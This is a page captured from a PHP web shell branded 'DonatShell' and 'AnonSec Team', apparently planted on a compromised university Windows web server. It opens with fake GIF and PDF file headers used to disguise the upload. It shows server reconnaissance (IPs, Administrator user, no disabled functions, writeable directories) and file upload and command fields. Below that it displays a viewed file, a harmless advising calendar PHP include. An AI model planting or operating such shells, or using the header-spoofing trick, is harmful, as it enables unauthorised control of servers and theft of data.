GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Advising/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Advising/Advising_Class_Display_Calendar.phpinc
<?
// Admin/Advising/Advising_Class_Display_Calendar.phpinc
// phpinc_filename_purpose.

$d_O = d_O(); #d_On(); // Uncomment to DEBUG.
d_Line(basename(__FILE__));

/// Display a calandar.
$hourHeight = 60;
$columnCount = $WeekdayEnd - $WeekdayBegin + 2;
$columnCountInput = $columnCount - 2;
$width = (int)( 100 / ( $WeekdayEnd - $WeekdayBegin + 1 ) );
?>
<style type="text/css">
table.grayborder td,table.grayborder th { box-sizing:border-box; }
</style>
 
<table class="grayborder">
	<tr>
		<th class="right" colspan="2">Selected quick add course ids:</th>
		<td colspan="<?=$columnCountInput?>"><input type="text" name="selected_COU_IDs" id="selected_COU_ID" value="" style="width:95%;"></td>
	</tr>
	<tr>
		<th class="right" colspan="2">Total selected class credits:</th>
		<td colspan="<?=$columnCountInput?>"><span id="totalSelectedCredits">none</span><span id="selectedClassesWithVariableCRHR"></span></td>
	</tr>
	<tr>
		<td class="center" colspan="<?=$columnCount?>" style="padding:8px;">
			Class borders have meaning: 
			<span class="classMeeting">Classes without confilct</span>
			<span class="classMeeting overlap">Classes that overlap</span>
			<span class="classMeeting duplicate">Duplicate classes</span>
			<span class="classMeeting overlap duplicate">Duplicate with overlap</span>
		</td>
	</tr>
	<tr>
<?
?>
		<th></th>
<?
for ( $wd=$WeekdayBegin; $wd<=$WeekdayEnd; $wd++ ) { // Loop thru days with class meetings.
?>
		<th class="grayborder center" style="width:<?=$width?>%;"><?=$Weekday[$wd]?></th>
<?
} // Loop thru days with class meetings.
?>
		</tr>
<?
for ( $h=$DayTimeBegin; $h<$DayTimeEnd; $h++ ) { // Loop thru hours.
	if ( $h < 12 ) { $hour = $h; $meridian = 'am'; } else { $hour = $h - ( $h != 12 ? 12 : 0 ); $meridian = 'pm'; } 
?>
	<tr>
		<th class="grayborder right" style="height:<?=$hourHeight?>px;"><?=$hour?><sup><?=$meridian?></sup></th>
<?
	for ( $wd=$WeekdayBegin; $wd<=$WeekdayEnd; $wd++ ) { // Loop thru days with class meetings.
?>
		<td id="calendar_<?=$wd?>_<?=$h?>" class="grayborder" style="height:<?=$hourHeight?>px;"></td>
<?
	} // Loop thru days with class meetings.
?>
	</tr>
<?
} // Loop thru hours.
?>
</table>
<?

if ( isset($d_O) && !$d_O ) d_Off();
?>

Anon7 - 2022
AnonSec Team